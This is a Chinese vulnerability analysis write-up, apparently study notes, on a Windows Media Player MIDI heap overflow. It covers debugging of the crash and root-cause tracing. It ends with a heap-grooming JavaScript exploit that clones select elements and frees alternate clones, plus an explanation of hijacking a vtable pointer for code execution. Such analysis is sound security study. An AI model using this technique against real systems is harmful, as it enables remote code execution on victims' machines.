实验环境
推荐使用的环境 | 备注 | |
---|---|---|
操作系统 | Windows XP SP3 | |
虚拟机 | Vmware | |
调试器 | OD | |
反汇编器 | IDA Pro | |
漏洞软件 | Windows Media Player |
静态分析
MIDI文件格式
NIDI文件结构由若干个块(Chunk)组成,主要分为包头块(Header Chunk)和音轨块(Track Chunk)两部分,每个块由块标记,块长度和块数据组成,其中块标记和块长度均为4字节,其格式如下:
MIDI文件头信息主要包含歌曲的MIDI格式类型,音轨数和时间计数器。
音轨块主要包含播放歌曲的数据信息,比如曲名,音乐事件等。
exp数据如图
动态调试
漏洞分析
开启页堆。
崩溃点(如无法捕捉崩溃请查看OD各插件设置)
和书上地址不一样,但是语句没差,不影响拿着去静态分析。
加载一下符号表,该段代码在midiOutPlayNextPolyEvent函数中。
然后查看崩溃点,发现影响esi的两个参数v19和v16。
这里书上说v16来自于的wParam是漏洞函数的参数,导致崩溃的概率较低(不能理解这里的逻辑,可能是由于此参数类型为WPARAM,很有可能是一个消息,而非用户所能控制的,因此如此猜测)。查看v19,首先找到每一条影响他值的语句。
该语句受wParam_3a,v17影响。
v17来源于v10或wParam,wParam_3a来源于v10。
v10来源于v32或者v8。
v8来源于v2,v2源于wParam。
v2不变,wParam低三位字节没变,v7一次增长0xC,v10_1与wParam最高位相等(感觉可能是我表达式错了,但是没影响)。v17为v8最低位字节。
触发漏洞是0x9x或0x8x音轨事件。v17是音轨事件类型,v10_1是
基址+0x419偏移出错。
寻找基址来源,基址源于
查看交叉引用
慢慢等价替换上去发现,其传入参数是一个大小0x400的堆。
漏洞利用
利用代码如下:
var selob = document.createElement("select")
selob.w0 = alert
selob.w1 = unescape("%u1be4%u0c0c")
selob.w2 = alert
selob.w3 = alert
selob.w4 = alert
selob.w5 = alert
selob.w6 = alert
selob.w7 = alert
selob.w8 = alert
selob.w9 = alert
selob.w10 = alert
selob.w11 = alert
selob.w12 = alert
selob.w13 = alert
selob.w14 = alert
selob.w15 = alert
selob.w16 = alert
selob.w17 = alert
selob.w18 = alert
selob.w19 = alert
selob.w20 = alert
selob.w21 = alert
selob.w22 = alert
selob.w23 = alert
selob.w24 = alert
selob.w25 = alert
selob.w26 = alert
selob.w27 = alert
selob.w28 = alert
selob.w29 = alert
selob.w30 = alert
selob.w31 = alert
selob.w32 = alert
selob.w33 = alert
selob.w34 = alert
selob.w35 = alert
selob.w36 = alert
selob.w37 = alert
selob.w38 = alert
selob.w39 = alert
selob.w40 = alert
selob.w41 = alert
selob.w42 = alert
selob.w43 = alert
selob.w44 = alert
selob.w45 = alert
selob.w46 = alert
selob.w47 = alert
selob.w48 = alert
selob.w49 = alert
selob.w50 = alert
selob.w51 = alert
selob.w52 = alert
selob.w53 = alert
selob.w54 = alert
selob.w55 = alert
selob.w56 = alert
selob.w57 = alert
selob.w58 = alert
selob.w59 = alert
selob.w60 = alert
selob.w61 = alert
selob.w62 = alert
selob.w63 = alert
var clones=new Array(1000);
function feng_shui() {
var i = 0;
while (i < 1000) {
clones[i] = selob.cloneNode(true)
i = i + 1;
}
var j = 0;
while (j < 1000) {
delete clones[j];
CollectGarbage();
j = j + 2;
}
}
先创建了select元素selob,并设置了64个属性,w1为string类型,其余的为object,随后创建一个大小为1000的clones数组,最后间隔的释放clones数组中的元素,让释放的堆块两边都是selob元素。
解析HTML语言的IE模块mshtml.dll齐总用于复制元素的函数为CElement::clone。CElement::clone首先调用CAttrArray::CAttrArray创建CAttrArray对象,然后调用CAttrArray::EnsureSize分配0x10大小的控件,exp设置64个属性,分配堆空间大小为0x10*0x40=0x400,和造成堆溢出的缓冲区大小相等。
利用如下,由于NoteOn事件会导致读取的字节+1,String类型+1从08变成了09,变成了object类型,前四个字节变成了虚表指针,就可以通过控制虚表指针来执行任意代码了。
文章评论